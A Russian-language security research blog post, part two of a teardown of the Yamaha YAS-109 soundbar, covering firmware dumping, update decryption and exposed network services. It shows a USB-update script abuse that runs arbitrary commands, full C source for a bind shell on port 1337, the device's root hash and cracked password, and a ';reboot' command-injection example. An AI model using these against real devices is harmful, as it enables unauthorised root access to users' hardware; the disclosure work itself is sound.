Pull to refresh
104.11

Исследуем саундбар Yamaha YAS-109, часть 2

Level of difficultyHard
Reading time12 min
Views11K

 

КДПВ
КДПВ

Приветствую!

В конце первой части статьи по исследованию саундбара Yamaha я упомянул о плачевном состоянии его безопасности. Но вот то, насколько оно плачевное, я тогда представлял не до конца.

Чтобы вам не пришлось постоянно бегать в первую часть, некоторые моменты оттуда я буду повторять — так будет проще.

Разбираем дамп NAND

Значит так, в прошлый раз мы получили чистый дамп без скремблирования прошивки с флеша. Кому интересно, вот скрипт, который расшифровывает NAND-дамп. Нужно теперь разобраться, что в нём хранится. Давайте запустим binwalk и узнаем. Вот что мне удалось выделить:

  1. Файловая система UBIFS.

  2. Образ с ядром.

  3. Tee- и TrustedOS-образы.

  4. Загрузчик от MediaTek.

Последний нам уже не особо интересен, так как свою роль он сыграл в первой части статьи. А вот с файловой системой стоит разобраться. Для дампинга содержимого UBIFS существует замечательный скрипт ubidump.py, его я тоже упоминал в первой части. Но чтобы он нормально отработал, нужно дамп слегка подредактировать. Сначала откусываем от файла все spare-area-блоки (размером 0x40 байт, встречаются через каждые 0x400 байт). Далее берём часть дампа с первого упоминания UBI# (это смещение 0xED1000) и сохраняем в отдельный файлик. Теперь запускаем скриптик:

python ubidump.py -s dump tsop_dump_no_ecc_ed1000.bin

Я запускал это под отладкой, так как биты в моём дампе частенько оказывались свапнуты и CRC32 не совпадал. Приходилось исправлять дамп фактически на лету — этим и занимается NAND-контроллер, применяя ECC.

В результате появился каталог dump/useradata. Среди полученных файлов я не обнаружил ни одного исполняемого, который помог бы мне расшифровать прошивку (напоминаю, это изначальная цель ресёрча). Зато обнаружился очень интересный файл old.log. Из него я узнал свой пароль от Wi-Fi, client_id и client_secret от Alexa, а также данные о том, куда железка обращается за апдейтами. Возможно, в логе имелось и что-то поинтереснее, но пока я не знал, на что стоит обращать внимание, поэтому стал копать дальше.

Я помнил и другие файлы, которые своими именами в дампе привлекли моё внимание, но они почему-то не сдампились. Например, мне хотелось извлечь yamaha_usb_upgrade.sh, который называется так же, как один из файлов обновления — yamaha_usb_upgrade.enc.

В общем, поковыряв дампилку, я обнаружил, что она считает количество блоков (они называются LEB — logical erase block), исходя из размера файла. Также, начиная с какого-то неопределённого номера блока, при парсинге их идентификаторы начинали совпадать и перетирать ранее прочитанные. Значит, плюс-минус с этого момента в дампе идёт другой раздел. Можно попробовать откусить его и снова сдампить. Сказано — сделано.

Обрезаем тот же файл до смещения 0x2C62000 (подобрано экспериментальным путём) и снова запускаем дампилку. На выходе почему-то получаем уже не useradata, а каталог aud8516-consys-slc-rootfs. И он мне нравится сильно больше предыдущего. Вот что оттуда извлеклось:

Содержимое rootfs
Содержимое rootfs

Многие из каталогов оказались не пустыми! И конечно же, я нашёл так интересовавший меня yamaha_usb_upgrade.sh. Правда, он оказался не тем, чего я ожидал. Тем не менее, в этом скрипте обнаружились упоминания других исполняемых файлов, а именно:

  • /bin/upgrade_app

  • /system/workdir/bin/smplayer

  • /system/workdir/bin/localSendSocket

  • /system/workdir/bin/a01localupdate

Что забавно, ни один из них не расшифровывал файлы обновлений. Пришлось искать по строкам:

Кто использует файлы обновления
Кто использует файлы обновления

Так-то лучше. Взглянем на /system/workdir/bin/a01remoteupdate поближе.

Смотрим на a01remoteupdate

Приложение работает и с сервером обновлений Yamaha, и с обновлением через USB (иначе почему в нём засветилась строка с нужным нам именем файла?). URL обновления я уже видел в old.log (о нём чуть позже), а вот с флешкой всё куда интереснее. Ниже представлена функция, в которой упоминается yamaha_usb_upgrade.sh:

Gen_USB_upgrade()
Gen_USB_upgrade()

Ну не красота ли! Часть функций на скрине я уже переименовал согласно логике внутри, но тем не менее. Во-первых, для нас заботливо выводят имя текущей функции. Во-вторых, описывают каждый шаг. Рассмотрим скрин повнимательнее.

Смотрим на Gen_USB_upgrade()

Это что, бэкдор?
Это что, бэкдор?

Это самое начало функции. Я сразу и не обратил внимания на этот кусок, тут же перешёл к расшифровке апдейтов. А вот и зря! Сам каталог /media/ — это наша смонтированная USB-флешка. Программа почему-то ищет там и запускает файлик yamaha_usb_upgrade.sh, хотя мы прекрасно помним, что на флешку требуется положить только зашифрованные файлы и текстовик с версией. Неужели бэкдор в обновлениях?! Проверим.

Создаём файлик yamaha_usb_upgrade.sh, который, например, выведет нам все смонтированные разделы:

/bin/mount > /media/mount.txt

Зажимаем кнопки VOLUME- и POWER, пока лампочка Wi-Fi не начнёт мигать — процесс обновления пошёл. Когда саундбар запустился, проверяем флешку и… вуаля:

mount.txt
ubi0:aud8516-consys-slc-rootfs on / type ubifs (rw,relatime)
devtmpfs on /dev type devtmpfs (rw,relatime,size=56156k,nr_inodes=14039,mode=755)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
devpts on /dev/pts type devpts (rw,relatime,gid=5,mode=620)
tmpfs on /run type tmpfs (rw,nosuid,nodev,mode=755)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)
cgroup  on /sys/fs/cgroup/systemd type cgroup  (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
configfs on /sys/kernel/config type configfs (rw,relatime)
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw)
mqueue on /dev/mqueue type mqueue (rw,relatime)
ubi1_0 on /data type ubifs (rw,relatime,sync)
ubi1_0 on /var type ubifs (rw,relatime,sync)
tmpfs on /tmp type tmpfs (rw,relatime,size=81920k)
tmpfs on /var/volatile type tmpfs (rw,relatime)
tmpfs on /data/var/volatile type tmpfs (rw,relatime)
adb on /dev/usb-ffs/adb type functionfs (rw,relatime)
/dev/sda1  on /media type vfat  (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro)

Сразу обращаем внимание, что практически всё смонтировано в режиме rw (read-write). Это значит, мы с нашим бэкдорным скриптом можем творить вообще всё что угодно! И первым делом мне, конечно же, захотелось получить шелл, например через telnetd. Покопавшись в файлах, видим, что основные системные команды работают через busybox, а значит, всё зависит от того, реализованы ли в нём собственно сервера telnetd, ftpd и т. п. Как окажется позже, нет, не реализованы. Значит, сначала нужно подложить свой.

Пока я искал нормальный busybox/telnetd, скомпилированный в static под ARM64, я быстренько наваял собственный шелл на основе того, что предлагает stackoverflow и Github:

shell_c.c
#include <stdio.h>  
#include <unistd.h>
#include <sys/types.h>   
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <string.h>
  
int host_sockid;
int client_sockid;
      
struct sockaddr_in hostaddr;
  
int main() {  
    host_sockid = socket(PF_INET, SOCK_STREAM, 0);  
  
    hostaddr.sin_family = AF_INET;  
    hostaddr.sin_port = htons(1337);  
    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);  

    bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));  

    listen(host_sockid, 2);  
  
	char buf[8192];
	char tmp[8192];
	char pp[256];
	
	while (1) {
		client_sockid = accept(host_sockid, NULL, NULL);
		
		memset(buf, 0, sizeof(buf));
		memset(tmp, 0, sizeof(tmp));
		memset(pp, 0, 256);
		
		int sz = recv(client_sockid, buf, sizeof(buf), 0);
		buf[sz] = 0;
		snprintf(tmp, 8192, "%s 2>&1", buf); 
		
		FILE* stream = popen(tmp, "r");
		
		if (stream) {
		    while (!feof(stream)) {
				if (fgets(pp, 256, stream) != NULL) {
					int len = strlen(pp);
					send(client_sockid, pp, len, 0);
				}
			}
		}
		
		close(client_sockid);
		pclose(stream);
	} 
	
    close(host_sockid);  
      
    return 0;  
}

Тут всё просто: получаем строку на порту 1337, добавляем к ней вывод stderr и stdout, передаём в popen(), результаты которого отправляем себе обратно.

По аналогии добавляем запуск шелла из скрипта:

chmod +x /media/shell_c
/media/shell_c &

К сожалению, у меня это не сработало. Судя по всему, на FAT32 нельзя устанавливать флаги и права для файлов. Поэтому сначала нужно скопировать бинарь куда-то в файловую систему саундбара, например в /usr/bin:

cp /media/shell_c /usr/bin/shell_c
chmod +x /usr/bin/shell_c
/usr/bin/shell_c &

В бесконечный по счёту раз перезапускаем колонку, втыкаем флешку, инициируем процесс обновления, после чего сканируем nmap-ом:

sudo nmap -p1337 192.168.0.164

Ларчик, как и требовалось, открылся, и моей радости не было предела! Для пробы вводим ls / и получаем содержимое корня файловой системы. Это победа! Теперь можно и нормальный busybox подложить, который к тому времени таки нашёлся: busybox_arm64. Будем запускать его пока ещё через собственный шелл, а потом определимся с механизмом автозапуска.

Применяем telnetd

Итак, busybox_arm64 telnetd запустился нормально, открытый 23/TCP — тому подтверждение. Пробуем войти, но нас встречает просьба ввести логин и пароль.

Hello, SoundBarSetup_F2A6
Hello, SoundBarSetup_F2A6

Ищем по ранее сдампленой файловой системе shadow и смотрим содержимое:

root:$6$WXQ1C/rKpzLochd$IGtembLICL9VAAHFXbyVfVDzAEk8m93M.oCVxeOMsnZfSqd1JhgCwW9o1MYzzTRkhEvAanxLDRtj28/OuVz5E0:19146:0:99999:7:::
daemon:*:19146:0:99999:7:::
bin:*:19146:0:99999:7:::
sys:*:19146:0:99999:7:::
sync:*:19146:0:99999:7:::
games:*:19146:0:99999:7:::
man:*:19146:0:99999:7:::
lp:*:19146:0:99999:7:::
mail:*:19146:0:99999:7:::
news:*:19146:0:99999:7:::
uucp:*:19146:0:99999:7:::
proxy:*:19146:0:99999:7:::
www-data:*:19146:0:99999:7:::
backup:*:19146:0:99999:7:::
list:*:19146:0:99999:7:::
irc:*:19146:0:99999:7:::
gnats:*:19146:0:99999:7:::
ntp:!:19146::::::
systemd-timesync:!:19146::::::
messagebus:!:19146::::::
nobody:*:19146:0:99999:7:::

Видим пользователя root и его зашифрованный пароль. Не теряя надежды добить железку, суём строчку в hashcat и… получаем на удивление простой словарный пароль:

$6$WXQ1C/rKpzLochd$IGtembLICL9VAAHFXbyVfVDzAEk8m93M.oCVxeOMsnZfSqd1JhgCwW9o1MYzzTRkhEvAanxLDRtj28/OuVz5E0:bamboo

Да, безопасность несомненно на уровне! Пробуем логиниться и получаем ту самую картину из концовки первой статьи:

root:bamboo
root:bamboo

Что ж, девайс повержен! Хотя для верности можно ещё и FTP поднять, заархивировать всю файловую систему в .tar.gz и сохранить на флешку. Но это было делом уже следующего дня. А пока давайте таки вернёмся к зашифрованным обновлениям — заждались же!

Зашифрованные обновления

Вспоминаем красивый скрин с функцией UPG_Gen_USB_upgrade() и строку с вызовом prepare_keys(). Рассмотрим последнюю:

Tmpx93st93_iv ^ Tmpx93st93_key = AES
Tmpx93st93_iv ^ Tmpx93st93_key = AES

Всю функцию можно по сути разделить на три логических блока, в каждом из которых происходит работа с ключами k1 (подсвечен), k2 и k3. После чтения ключа, который хранится в base64, и инвертирования (reversed(str)) каждой его строки в decode_str(), итоговый результат преобразуется в бинарный файл /tmp/TmpAES через вызов openssl.

А вот дальше происходит магия: полученный TmpAES хранит в себе данные, зашифрованные с помощью aes-128-cbc. Начальный вектор Tmpx93st93_iv и ключ Tmpx93st93_key пока незвестны. Ищем обращения к этим полям структуры g_wiimu_shm, выясняем, что в rootApp их нет. Сама глобальная переменная задаётся вызовом функции WiimuContextGet(), которая реализована в файле libmvmsg.so. Но и там мне не удалось найти инициализацию секретной составляющей. Зато нашлись другие интересные функции:

WiimuContextXXX
WiimuContextXXX

Моё внимание привлекла вторая в списке — WiimuContextCreate(). В ней самой, к сожалению, ключ и вектор не задаются, зато это навело меня на мысль, что в тех исполняемых файлах, где эта функция вызывается, и будут присваиваться значения полей:

Где-то тут создаётся контекст для Wiimu
Где-то тут создаётся контекст для Wiimu

А вот это, видимо, уже то что нужно! Непродолжительный поиск по rootApp выдаёт нам такой вот участок кода:

А вот и наши ключики
А вот и наши ключики

Похоже, пазл сложился. Вернёмся к расшифровке обновлений. До этого мы только подготавливали ключи, само же превращение зашифрованных файлов в обычные идёт следующей строчкой:

prepare_keys();
decrypt_with_Tmpx93st93("/media/yamaha_usb_upgrade.enc", "/tmp/yamaha_usb_upgrade.sh");

Функция decrypt_with_Tmpx93st93() оказывается крайне простой:

decrypt_with_Tmpx93st93()
decrypt_with_Tmpx93st93()

Полученный на предыдущем этапе ключ, который был зашифрован другим ключом, используется всё в том же openssl/aes-128-cbc — уже для непосредственной расшифровки файла обновления. Набрасываем вновь приобретённые знания в скрипте на Python и применяем его на файле update.enc. В результате получаем обыкновенный ZIP-архив:

Расшифровали!
Расшифровали!

Таким же образом расшифровываем и остальные файлы yamaha_usb_upgrade.enc:

Похоже на скрипт
Похоже на скрипт

И mcu.enc:

Не похоже на скрипт
Не похоже на скрипт

Вот по сути и всё, чего я хотел добиться изначально. Но ведь это ещё не конец?

Padme
Padme

Интересно же ещё на работу с сетью взглянуть. Вот и я хотел бы… Но в данный момент колонка лежит закирпиченная в результате неудачного эксперимента — добавление своей (кривой, конечно) строки в скрипт автозапуска пагубно влияет на старт системы. Поэтому пока переключимся на поиск мест, откуда саундбар сифонит.

— Автор, не томи!!! Сифонит?

— Сифонит :)

Тут я хочу признаться. Когда я писал этот ответ, я только догадывался, что девайс делает что-то нехорошее, но как именно — не знал. Я видел в логах и исполняемых файлах множество упоминаний сайтов типа ota.linkplay.com, a001.linkplay.com, cloud-jobs.linkplay.com, www.wiimu.com, www.muzohifi.com, avpro.global.yamaha.com, aws.amazon.com; строчек наподобие pingbaidu; портов с сомнительным ответом от них, которые к тому же светят на 0.0.0.0. Пришло время со всем этим разобраться.

И начать проще всего с запуска netstat -tulpan и определения, какие сетевые порты у каких приложений открыты вовне:

netstat -tulpan
netstat -tulpan

Можно выделить следующие приложения:

  • AvsMrmPlayer: 55442/TCP, 55443/TCP

  • a01controller: 8819/TCP, 49152/TCP, 59152/TCP, 1900/UDP

  • stunnel: 443/TCP

  • spotify_connect: 5356/TCP, 5353/UDP

  • mdnsd: 5353/UDP, 56811/UDP, 54174/UDP

Забавно, но каждое из них запускает один единственный rootApp, который не проявляет собственной сетевой активности. Давайте взглянем на него.

Смотрим на rootApp

Прежде чем мы продолжим, стоит немного рассказать, как сервисы колонки общаются между собой:

  1. В каталоге /tmp создаётся файл с конкретным именем, за которым следит тот или иной сервис.

  2. При изменении содержимого этого файла приложение его вычитывает и выполняет необходимые действия.

  3. Результат выполнения команды записывается в тот же файл.

Например, у приложения rootApp отслеживаемый файл называется /tmp/RequestGoheadCmd.

Перейдём непосредственно к его анализу. Вот начало функции main():

Что-то крайне подозрительное
Что-то крайне подозрительное

Сначала с помощью RC4 расшифровываются какие-то конфиги и сертификаты для stunnel, после чего он запускается. Как по мне, крайне некрасиво хранить на устройстве какие-то шифрованные конфиги и ключи, а тем более использовать их при создании TLS-туннеля. Давайте расшифруем конфиги и посмотрим, что там:

[web_https]
accept = 443
connect = 127.0.0.1:80
cert = /system/workdir/misc/stunnel.pem
requireCert = yes
verify = 2
checkHost = www.linkplay.com
checkEmail = mail@linkplay.com
CAfile = /system/workdir/misc/ca.pem

Видим, что основной порт действительно 443/TCP, который становится доступным только локально на 80/TCP. Остальные опции указывают требование сертификата от того, кто будет подключаться, и определённые значения полей Host и Email в этом сертификате. Как показывает netstat, за 80/TCP отвечает приложение boa.

Что за boa такое?

Поиск в интернете приводит меня на репозиторий одноимённого сервера. Судя по всему, его исходный код был изменён для добавления новых команд. Также удалось выяснить, что ранее 80-й порт назывался LinkPlayAPI и был открытым для внешнего доступа. Разработчики зачем-то решили спрятать его в шифрованное соединение, чтобы никто не видел, какую дичь они там исполняют.

А там и правда чего только нет (сразу добавлю, в большинстве команд имеется возможность переполнения на стеке и, соответственно, удалённого выполнения кода)! Полный список команд, о предназначении большинства которых я даже не догадываюсь, представлен здесь: https://gist.github.com/lab313ru/148cee5a11001149aff5cdc76a8f4e57

Вот парочка примеров уязвимых плохо написанных мест в этих функциях:

Инициализация
Локальные переменные
Место №1
Место №1
Место №2
Место №2
Место №3
Место №3

Специалисту, думаю, будет очевидно, в чём именно заключаются уязвимости. Для тех же, кому эта тема не слишком близка, но очень интересна, поясню: на скриншотах можно найти уязвимость переполнения на стеке, она же stack buffer overflow — чуть ли не самая страшная уязвимость человечества, в которой АНБ обвиняет сам язык программирования C. Чтобы объяснить, как она работает, я приведу аналогию (конечно, натянутую, но я попытался):

У вас есть кошелёк. По заверениям его «разработчиков», туда можно положить ровно 128 купюр и один ключ от дома. Если же попытаться положить больше купюр, в какой-то момент у вас разойдётся шов, и ключ от квартиры выпадет, так как шов проходит именно там. Так вот, если хакер знает об этой уязвимости кошелька, он подкинет в него купюру-эксплоит и будет ходить за вами, пока не добудет ключ.

Кроме этой уязвимости, на скриншотах представлена ещё одна: возможность встроить сторонние команды, кроме тех, что задумывались разработчиком. Как это работает? Есть функция system(), которая может выполнять системные команды. Если же за один раз нужно выполнить несколько операций, их следует разделить точкой с запятой. Учитывая, что содержимое строки, которую мы отправляем, никак не фильтруется и вставляется в другую команду как есть, можно вместе с необходимыми данными добавить, например, ;reboot и получить перезагрузку устройства.

Если же затрагивать исключительно функционал LinkPlayAPI, то вот вам вкусняшка: у разработчика есть возможность получения стрима с вашего микрофона, всё так же удалённо. Для этого отправляется одна из множества специальных команд, после чего поднимается особый сервис asr_tts (который почему-то ещё называется hobot). У этого сервиса реализован собственный протокол для управления процессом записи.

Занимательно, что лампочка Alexa при этом гореть не будет и вы никак не узнаете, что вас слушают.

Это далеко не полный перечень интересностей, на которые способен этот саундбар. Накину вам парочку, а в следующей части, если захотите, разберу их подробнее.

Вот кусок приложения nv_ioguard, команды которому также приходят через 443-й порт:

What the hex?
What the hex?

Если не обращать внимания на имя функции, то на первый взгляд здесь ничего интересного. Но стоит эту HEX-строку декодировать…

???
???

К сожалению (или к счастью), ссылок на эту функцию не нашлось, как и на строку CustomShell в приложении rootApp. Но само наличие такого функционала (возможно, уже в другом, более законспирированном виде) радовать не может. Следующая функция туда же:

Шо, опять?
Шо, опять?

Также моё внимание привлёк файлик ota.json в каталоге с сертификатами:

Как бы OTA, но не OTA
Как бы OTA, но не OTA

Может показаться, что этот файл нужен только в контексте OTA-обновлений. Но что вы скажете, когда увидите, как он используется?

lp_cloud_report_device_event_info

Как вам название текущей функции: lp_cloud_report_device_event_info? Самое интересное то, что пути imgName и downPath на этой железке в принципе не используются!

В общем, давайте на сегодня закончим, а то и так получилось очень много материала. В следующей части я планирую подробнее рассказать о различных бэкдорах, оставленных в саундбаре, сливаемых данных и логах, в которых, например, можно откопать и свой пароль от Wi-Fi. Зачем он разработчикам?

Также я протестирую все свои находки прямо на саундбаре. А то одна колонка лежит закирпиченная, вторая только-только приехала и пока ничего конкретного протестировать не удалось.

Затравка к следующей статье

Распаковываем вторую колонку (а то первая уже кирпич):

Матильда
Матильда

Исполняем код удалённо:

P.S.

Даже если разработчик не выходит на связь и не хочет исправлять уязвимости, это не значит, что цель (закрыть уязвимости) не будет достигнута. Так, по результатам предыдущей статьи про уязвимости в видеорегистраторе Wisenet HRX-1620, на неё вышли разработчики, и пообещали выпустить обновления в конце октября. Это не может не радовать. Ждём того же от Yamaha.

Tags:
Hubs:
If this publication inspired you and you want to support the author, do not hesitate to click on the button
Total votes 51: ↑51 and ↓0+51
Comments22

Articles

Information

Website
bi.zone
Registered
Employees
501–1,000 employees
Location
Россия